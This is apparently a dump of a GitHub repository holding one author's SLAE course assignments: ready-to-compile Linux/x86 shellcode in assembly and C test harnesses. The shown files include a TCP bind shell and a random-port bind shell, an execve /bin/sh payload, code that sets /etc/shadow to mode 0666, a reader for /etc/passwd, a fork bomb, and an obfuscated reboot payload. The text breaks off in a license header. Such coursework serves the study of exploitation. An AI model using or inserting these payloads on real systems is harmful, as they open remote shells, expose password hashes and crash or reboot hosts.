├── .gitignore
├── 3rd.assignment
├── egg_hunter.png
├── egg.asm
├── egg_hunter.asm
└── egg_hunter_shellcode.c
├── 5th.assignment
├── tiny_chmod.png
├── tiny_chmod.asm
├── tiny_read_file.asm
└── tiny_read_file_shellcode.c
├── 1st.assignment
├── shell_bind_tcp.png
├── shellcode.c
├── shell_bind_tcp.c
├── shell_bind_tcp_shellcode.asm
└── shell_bind_tcp.asm
├── 2nd.assignment
├── shell_reverse_tcp.png
├── shell_reverse_tcp_metasploit.png
├── shellcode.c
└── shell_reverse_tcp.asm
├── 4th.assignment
├── insertion_decoder.png
├── tiny_execve_sh.asm
├── tiny_execve_sh_shellcode.c
├── insertion_decoder_shellcode.c
├── insertion_decoder.asm
└── insertion_encoder.py
├── 7th.assignment
├── uzumaki_decrypter.png
├── uzumaki_decrypter_shellcode.c
├── uzumaki_decrypter.asm
└── uzumaki_crypter.py
├── improvements
├── shell_bind_tcp_getpc.png
├── tiny_shell_bind_tcp.png
├── tiny_shell_reverse_tcp.png
├── tiny_shell_bind_tcp_random_port.png
├── shell_bind_tcp_random_port_shellcode.png
├── shell_bind_tcp_random_port_shellcode.c
├── x86_execve_dyn_shellcode.c
├── tiny_shell_bind_tcp_shellcode.c
├── tiny_shell_reverse_tcp_shellcode.c
├── tiny_shell_bind_tcp_random_port_shellcode.c
├── shell_bind_tcp_getpc_shellcode.c
├── shell_bind_tcp_random_port_shellcode_x86_64.c
├── tiny_shell_bind_tcp_random_port_shellcode_x86_64.c
├── shell_bind_tcp_getpc.asm
├── x86_execve_dyn.asm
├── shell_bind_tcp_random_port_shellcode.asm
├── tiny_shell_reverse_tcp.asm
├── tiny_shell_bind_tcp.asm
├── shell_bind_tcp_random_port_x86_64.asm
├── tiny_shell_bind_tcp_random_port.asm
└── tiny_shell_bind_tcp_random_port_x86_64.asm
├── 6th.assignment
├── downfile
├── mutated_fork.asm
├── mutated_fork_shellcode.c
├── mutated_reboot.asm
├── mutated_reboot_shellcode.c
├── mutated_execve_wget.asm
└── mutated_execve_wget_shellcode.c
├── README.md
└── LICENSE
/.gitignore:
--------------------------------------------------------------------------------
1 | *.o
2 | *~
3 | SLAE
4 |
--------------------------------------------------------------------------------
/3rd.assignment/egg_hunter.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/geyslan/SLAE/HEAD/3rd.assignment/egg_hunter.png
--------------------------------------------------------------------------------
/5th.assignment/tiny_chmod.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/geyslan/SLAE/HEAD/5th.assignment/tiny_chmod.png
--------------------------------------------------------------------------------
/1st.assignment/shell_bind_tcp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/geyslan/SLAE/HEAD/1st.assignment/shell_bind_tcp.png
--------------------------------------------------------------------------------
/2nd.assignment/shell_reverse_tcp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/geyslan/SLAE/HEAD/2nd.assignment/shell_reverse_tcp.png
--------------------------------------------------------------------------------
/4th.assignment/insertion_decoder.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/geyslan/SLAE/HEAD/4th.assignment/insertion_decoder.png
--------------------------------------------------------------------------------
/7th.assignment/uzumaki_decrypter.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/geyslan/SLAE/HEAD/7th.assignment/uzumaki_decrypter.png
--------------------------------------------------------------------------------
/improvements/shell_bind_tcp_getpc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/geyslan/SLAE/HEAD/improvements/shell_bind_tcp_getpc.png
--------------------------------------------------------------------------------
/improvements/tiny_shell_bind_tcp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/geyslan/SLAE/HEAD/improvements/tiny_shell_bind_tcp.png
--------------------------------------------------------------------------------
/improvements/tiny_shell_reverse_tcp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/geyslan/SLAE/HEAD/improvements/tiny_shell_reverse_tcp.png
--------------------------------------------------------------------------------
/2nd.assignment/shell_reverse_tcp_metasploit.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/geyslan/SLAE/HEAD/2nd.assignment/shell_reverse_tcp_metasploit.png
--------------------------------------------------------------------------------
/improvements/tiny_shell_bind_tcp_random_port.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/geyslan/SLAE/HEAD/improvements/tiny_shell_bind_tcp_random_port.png
--------------------------------------------------------------------------------
/6th.assignment/downfile:
--------------------------------------------------------------------------------
1 | The shellcode works!
2 |
3 | Now modify it to use your url...
4 |
5 | http://hackingbits.com
6 | geyslan@gmail.com
7 |
8 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | [](https://zenodo.org/badge/latestdoi/8726323)
2 |
3 | SLAE
4 | ====
5 |
6 | SLAE Assignments
7 |
--------------------------------------------------------------------------------
/improvements/shell_bind_tcp_random_port_shellcode.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/geyslan/SLAE/HEAD/improvements/shell_bind_tcp_random_port_shellcode.png
--------------------------------------------------------------------------------
/3rd.assignment/egg.asm:
--------------------------------------------------------------------------------
1 | ; Egg - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; egg
22 | ;
23 | ; # nasm -f elf32 egg.asm
24 | ; # ld -m elf_i386 egg.o -o egg
25 | ;
26 | ; Testing
27 | ; # ./egg
28 |
29 |
30 | global _start
31 |
32 | section .text
33 |
34 | _start:
35 |
36 | ; egg signature (4 bytes * 2 = 8 bytes)
37 |
38 | nop
39 | push eax
40 | nop
41 | push eax
42 |
43 | ; repeat signature
44 |
45 | nop
46 | push eax
47 | nop
48 | push eax
49 |
50 |
51 | ; Write "Egg Mark"
52 |
53 | xor ebx, ebx
54 | mul ebx
55 |
56 | mov al, 4
57 | push 0xA
58 | push 0x6b72614d
59 | push 0x20676745
60 | mov bl, 1
61 | mov ecx, esp
62 | mov dl, 9
63 | int 0x80
64 |
65 |
66 | ; Exit
67 |
68 | mov al, 1
69 | int 0x80
70 |
--------------------------------------------------------------------------------
/4th.assignment/tiny_execve_sh.asm:
--------------------------------------------------------------------------------
1 | ; Tiny Execve sh - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; execve
22 | ;
23 | ; * 21 bytes
24 | ; * null-free
25 | ;
26 | ;
27 | ; # nasm -f elf32 tiny_execve_sh.asm
28 | ; # ld -m elf_i386 tiny_execve_sh.o -o tiny_execve_sh
29 | ;
30 | ; Testing
31 | ; # ./tiny_execve_sh
32 |
33 |
34 | global _start
35 |
36 | section .text
37 |
38 | _start:
39 | ; int execve(const char *filename, char *const argv[], char *const envp[])
40 |
41 | xor ecx, ecx ; ecx = NULL
42 | mul ecx ; eax and edx = NULL
43 | mov al, 11 ; execve syscall
44 | push ecx ; string NULL
45 | push 0x68732f2f ; "//sh"
46 | push 0x6e69622f ; "/bin"
47 | mov ebx, esp ; pointer to "/bin/sh\0" string
48 | int 0x80 ; bingo
49 |
50 |
51 |
52 |
--------------------------------------------------------------------------------
/5th.assignment/tiny_chmod.asm:
--------------------------------------------------------------------------------
1 | ; Tiny chmod - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; tiny_chmod
22 | ;
23 | ; * 34 bytes
24 | ; * null-free
25 | ; * set 0666 permission to /etc/shadow
26 | ;
27 | ; # nasm -f elf32 tiny_chmod.asm
28 | ; # ld -m elf_i386 tiny_chmod.o -o tiny_chmod
29 | ; # for i in $(objdump -d tiny_chmod |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
30 |
31 |
32 | global _start
33 |
34 | section .text
35 |
36 | _start:
37 |
38 | ; int chmod(const char *path, mode_t mode);
39 |
40 | xor ecx, ecx
41 | mul ecx
42 | mov al, 15
43 | push edx
44 | push 0x776f6461
45 | push 0x68732f2f
46 | push 0x6374652f
47 | mov ebx, esp
48 | mov cx, 0x1b6
49 | int 0x80
50 |
51 | ; void _exit(int status);
52 |
53 | inc edx
54 | xchg eax, edx
55 | int 0x80
56 |
--------------------------------------------------------------------------------
/6th.assignment/mutated_fork.asm:
--------------------------------------------------------------------------------
1 | ; Mutated Fork Bomb - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; mutated_fork_bomb
22 | ;
23 | ; * 15 bytes
24 | ; * null-free
25 | ; * mutated isn't polymorphic (shellcode does not replicate itself to be called polymorphic)
26 | ;
27 | ;
28 | ; # nasm -f elf32 mutated_fork_bomb.asm
29 | ; # ld -m elf_i386 mutated_fork_bomb.o -o mutated_fork_bomb
30 | ; # for i in $(objdump -d mutated_fork_bomb |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
31 | ;
32 | ; Testing
33 | ; * Only run it in a Virtual Machine!!! Your system will crash. Use at your own risk!
34 |
35 |
36 | global _start
37 |
38 | section .text
39 |
40 | _start:
41 | xor edi, edi
42 | jmp $+3
43 | db 0xe8
44 | mov dl, 29
45 | xchg edi, eax
46 | sub eax, 27
47 | int 0x80
48 | jmp _start
49 |
--------------------------------------------------------------------------------
/5th.assignment/tiny_read_file.asm:
--------------------------------------------------------------------------------
1 |
2 | ; Tiny Read File - Assembly Language - Linux/x86
3 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
4 | ;
5 | ; http://hackingbits.com
6 | ; geyslan@gmail.com
7 | ;
8 | ; This program is free software: you can redistribute it and/or modify
9 | ; it under the terms of the GNU General Public License as published by
10 | ; the Free Software Foundation, either version 3 of the License, or
11 | ; (at your option) any later version.
12 | ;
13 | ; This program is distributed in the hope that it will be useful,
14 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
15 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 | ; GNU General Public License for more details.
17 | ;
18 | ; You should have received a copy of the GNU General Public License
19 | ; along with this program. If not, see .
20 |
21 |
22 | ; tiny_read_file
23 | ;
24 | ; * 51 bytes
25 | ; * null-free
26 | ; * read 4096 bytes from /etc/passwd file
27 | ;
28 | ; # nasm -f elf32 tiny_read_file.asm
29 | ; # ld -m elf_i386 tiny_read_file.o -o tiny_read_file
30 | ; # for i in $(objdump -d tiny_read_file |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
31 |
32 | global _start
33 |
34 | section .text
35 |
36 | _start:
37 |
38 | ; int open(const char *pathname, int flags);
39 |
40 | xor ecx, ecx
41 | mul ecx
42 | mov al, 5
43 | push ecx
44 | push 0x64777373
45 | push 0x61702f63
46 | push 0x74652f2f
47 | mov ebx, esp
48 | int 0x80
49 |
50 | ; ssize_t read(int fd, void *buf, size_t count);
51 |
52 | xchg eax, ebx
53 | xchg ecx, eax
54 | mov al, 3
55 | xor edx, edx
56 | mov dx, 4095
57 | inc edx
58 | int 0x80
59 |
60 | ; ssize_t write(int fd, const void *buf, size_t count);
61 |
62 | xchg edx, eax
63 | xor eax, eax
64 | mov al, 4
65 | mov bl, 1
66 | int 0x80
67 |
68 | ; void _exit(int status);
69 |
70 | xchg eax, ebx
71 | int 0x80
72 |
--------------------------------------------------------------------------------
/4th.assignment/tiny_execve_sh_shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Tiny Execve sh Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 | /*
25 |
26 | tiny_execve_sh_shellcode
27 |
28 | * 21 bytes
29 | * null-free
30 |
31 |
32 | # gcc -m32 -fno-stack-protector -z execstack tiny_execve_sh_shellcode.c -o tiny_execve_sh_shellcode
33 |
34 | Testing
35 | # ./tiny_execve_sh_shellcode
36 |
37 | */
38 |
39 |
40 | #include
41 | #include
42 |
43 | unsigned char shellcode[] = \
44 |
45 | "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
46 | "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
47 | "\x80";
48 |
49 |
50 | main ()
51 | {
52 |
53 | // When contains null bytes, printf will show a wrong shellcode length.
54 |
55 | printf("Shellcode Length: %d\n", strlen(shellcode));
56 |
57 | // Pollutes all registers ensuring that the shellcode runs in any circumstance.
58 |
59 | __asm__ ("movl $0xffffffff, %eax\n\t"
60 | "movl %eax, %ebx\n\t"
61 | "movl %eax, %ecx\n\t"
62 | "movl %eax, %edx\n\t"
63 | "movl %eax, %esi\n\t"
64 | "movl %eax, %edi\n\t"
65 | "movl %eax, %ebp\n\t"
66 |
67 | // Calling the shellcode
68 | "call shellcode");
69 |
70 | }
71 |
--------------------------------------------------------------------------------
/6th.assignment/mutated_fork_shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Mutated Fork Bomb Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 | /*
25 |
26 | mutated_fork_bomb_shellcode
27 |
28 | * 15 bytes
29 | * null-free
30 | * mutated isn't polymorphic (shellcode does not replicate itself to be called polymorphic)
31 |
32 |
33 | # gcc -m32 -fno-stack-protector -z execstack mutated_fork_bomb_shellcode.c -o mutated_fork_bomb_shellcode
34 |
35 | Testing
36 | * Only run it in a Virtual Machine!!! Your system will crash. Use at your own risk!
37 |
38 | */
39 |
40 |
41 | #include
42 | #include
43 |
44 | unsigned char shellcode[] = \
45 |
46 | "\x31\xff\xeb\x01\xe8\xb2\x1d\x97\x83\xe8"
47 | "\x1b\xcd\x80\xeb\xf1";
48 |
49 |
50 | main ()
51 | {
52 |
53 | // When contains null bytes, printf will show a wrong shellcode length.
54 |
55 | printf("Shellcode Length: %d\n", strlen(shellcode));
56 |
57 | // Pollutes all registers ensuring that the shellcode runs in any circumstance.
58 |
59 | __asm__ ("movl $0xffffffff, %eax\n\t"
60 | "movl %eax, %ebx\n\t"
61 | "movl %eax, %ecx\n\t"
62 | "movl %eax, %edx\n\t"
63 | "movl %eax, %esi\n\t"
64 | "movl %eax, %edi\n\t"
65 | "movl %eax, %ebp\n\t"
66 |
67 | // Calling the shellcode
68 | "call shellcode");
69 |
70 | }
71 |
--------------------------------------------------------------------------------
/1st.assignment/shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Shell Bind TCP Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 | /*
25 |
26 | shell_bind_tcp_shellcode
27 |
28 | * 103 bytes
29 | * null-bytes free
30 | * avoids SIGSEGV when reconnecting, setting SO_REUSEADDR (TIME_WAIT)
31 | * the port number is easily changeable (3th and 4th bytes of the shellcode)
32 |
33 |
34 | # gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
35 | # ./shellcode
36 |
37 | Testing
38 | # nc 127.0.0.1 11111
39 |
40 | */
41 |
42 | #include
43 | #include
44 |
45 | unsigned char code[] = \
46 |
47 | "\x66\xbd"
48 | "\x2b\x67" /* <- Port number 11111 (2 bytes) */
49 | "\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
50 | "\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\x6a\x04\x54\x57"
51 | "\x53\x56\x89\xe1\xb3\x0e\xcd\x80\xb0\x66\x89\xfb"
52 | "\x52\x66\x55\x66\x53\x89\xe1\x6a\x10\x51\x56\x89"
53 | "\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd"
54 | "\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x89"
55 | "\xf9\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68"
56 | "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
57 | "\x53\xeb\xa8";
58 |
59 |
60 | main ()
61 | {
62 |
63 | printf("Shellcode Length: %d\n", strlen(code));
64 |
65 | int (*ret)() = (int(*)())code;
66 |
67 | ret();
68 |
69 | }
70 |
--------------------------------------------------------------------------------
/6th.assignment/mutated_reboot.asm:
--------------------------------------------------------------------------------
1 | ; Mutated Reboot - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; mutated_reboot
22 | ;
23 | ; * 55 bytes
24 | ; * null-free
25 | ; * mutated isn't polymorphic (shellcode does not replicate itself to be called polymorphic)
26 | ;
27 | ;
28 | ; # nasm -f elf32 mutated_reboot.asm
29 | ; # ld -m elf_i386 mutated_reboot.o -o mutated_reboot
30 | ; # for i in $(objdump -d mutated_reboot |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
31 | ;
32 | ; Testing
33 | ; * Only run it in a Virtual Machine!!! Your system will reboot. Use at your own risk!
34 | ; * To work properly, you must be su!
35 |
36 |
37 | global _start
38 |
39 | section .text
40 |
41 | _start:
42 | ; void sync(void);
43 | ; sync()
44 |
45 | sub edi, edi
46 | jz $+3
47 | db 0xe8
48 | add edi, 36
49 | xchg eax, edi
50 | jmp $+3
51 | db 0xe1
52 | int 0x80
53 |
54 |
55 | ; int reboot(int magic, int magic2, int cmd, void *arg);
56 | ; reboot(0xfee1dead, 0x28121969, 0x1234567, not_used)
57 |
58 | jmp $+3
59 | db 0xff
60 | push 0x29
61 | pop ecx
62 | jmp $+3
63 | db 0x01
64 | mov ebx, 0x1234567
65 | mov edx, 0xffc29bca
66 | xor edx, ebx
67 | jnz $+3
68 | db 0xe7
69 | xchg ebx, edx
70 | lea eax, [ecx+0x2f]
71 | lea ecx, [ecx+0x28121940]
72 | jmp $+4
73 | db 0xe8, 0x01
74 | int 0x80
75 |
--------------------------------------------------------------------------------
/5th.assignment/tiny_read_file_shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Tiny Read File Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 | /*
25 |
26 | tiny_read_file_shellcode
27 |
28 | * 51 bytes
29 | * null-free
30 | * read 4096 bytes from /etc/passwd file
31 |
32 |
33 | # gcc -m32 -fno-stack-protector -z execstack tiny_read_file_shellcode.c -o tiny_read_file_shellcode
34 |
35 | Testing
36 | # ./tiny_read_file_shellcode
37 |
38 | */
39 |
40 |
41 | #include
42 | #include
43 |
44 | unsigned char shellcode[] = \
45 |
46 | "\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73"
47 | "\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f"
48 | "\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03"
49 | "\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92"
50 | "\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd"
51 | "\x80";
52 |
53 |
54 | main ()
55 | {
56 |
57 | // When contains null bytes, printf will show a wrong shellcode length.
58 |
59 | printf("Shellcode Length: %d\n", strlen(shellcode));
60 |
61 | // Pollutes all registers ensuring that the shellcode runs in any circumstance.
62 |
63 | __asm__ ("movl $0xffffffff, %eax\n\t"
64 | "movl %eax, %ebx\n\t"
65 | "movl %eax, %ecx\n\t"
66 | "movl %eax, %edx\n\t"
67 | "movl %eax, %esi\n\t"
68 | "movl %eax, %edi\n\t"
69 | "movl %eax, %ebp\n\t"
70 |
71 | // Calling the shellcode
72 | "call shellcode");
73 |
74 | }
75 |
--------------------------------------------------------------------------------
/improvements/shell_bind_tcp_random_port_shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Shell Bind TCP Random Port Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 |
25 | /*
26 |
27 | shell_bind_tcp_random_port_shellcode
28 |
29 | * 65 bytes
30 | * null-bytes free
31 | * the port number is set by the system and can be discovered using nmap
32 | (see http://manuals.ts.fujitsu.com/file/4686/posix_s.pdf, page 23, section 2.6.6)
33 |
34 |
35 | # gcc -m32 -fno-stack-protector -z execstack shell_bind_tcp_random_port_shellcode.c -o shell_bind_tcp_random_port_shellcode
36 | # ./shell_bind_tcp_random_port_shellcode
37 |
38 | Testing
39 | # netstat -anp | grep shell
40 | # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to the port open by shellcode)
41 | # nc 127.0.0.1 port
42 |
43 | */
44 |
45 | #include
46 | #include
47 |
48 | unsigned char code[] = \
49 |
50 | "\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
51 | "\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\xb3\x04\x52\x56"
52 | "\x89\xe1\xcd\x80\xb0\x66\x43\x89\x54\x24\x08\xcd"
53 | "\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b"
54 | "\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
55 | "\xe3\x52\x53\xeb\xca";
56 |
57 | main ()
58 | {
59 |
60 | printf("Shellcode Length: %d\n", strlen(code));
61 |
62 | int (*ret)() = (int(*)())code;
63 |
64 | ret();
65 |
66 | }
67 |
--------------------------------------------------------------------------------
/improvements/x86_execve_dyn_shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | execve Dynamic Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 | /*
25 |
26 | x86_execve_dyn_shellcode
27 |
28 | * 47 bytes (without dynamic command)
29 | * null-free
30 |
31 |
32 | # gcc -m32 -fno-stack-protector -z execstack \
33 | x86_execve_dyn_shellcode.c -o \
34 | x86_execve_dyn_shellcode
35 |
36 | Testing
37 | # ./x86_execve_dyn_shellcode
38 |
39 | */
40 |
41 | #include
42 | #include
43 |
44 | int main(void)
45 | {
46 | unsigned char code[] = "\x31\xdb\xf7\xe3\xb0\x0b\x52\x66\x68\x2d"
47 | "\x63\x89\xe7\xeb\x1b\x5e\xb3\x07\x88\x14"
48 | "\x1e\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
49 | "\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1"
50 | "\xcd\x80\xe8\xe0\xff\xff\xff"
51 | "\x6c\x73\x20\x2f\x20\x2d\x6c"; // ls / -l
52 |
53 | // When contains null bytes, printf will show a wrong shellcode length.
54 |
55 | printf("Shellcode Length: %d\n", strlen(code));
56 |
57 | // Pollutes all registers ensuring that the shellcode runs in any
58 | // circumstance.
59 |
60 | __asm__("lea %[code], %%ebp\n\t"
61 | "mov $0xffffffff, %%eax\n\t"
62 | "mov %%eax, %%ebx\n\t"
63 | "mov %%eax, %%ecx\n\t"
64 | "mov %%eax, %%edx\n\t"
65 | "mov %%eax, %%esi\n\t"
66 | "mov %%eax, %%edi\n\t"
67 | "call *%%ebp\n\t"
68 | : /* no outputs */
69 | : [code] "m"(code));
70 | }
71 |
--------------------------------------------------------------------------------
/6th.assignment/mutated_reboot_shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Mutated Reboot Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
